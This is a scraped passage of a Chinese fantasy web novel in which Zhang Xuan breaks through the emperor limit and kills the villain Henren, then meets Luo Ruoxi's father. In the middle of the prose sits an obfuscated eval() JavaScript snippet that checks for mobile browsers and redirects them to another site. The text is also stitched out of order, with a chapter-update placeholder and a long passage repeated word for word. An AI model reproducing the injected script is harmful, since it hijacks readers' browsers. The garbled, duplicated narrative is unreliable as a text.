“他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209126|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第199章离开 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 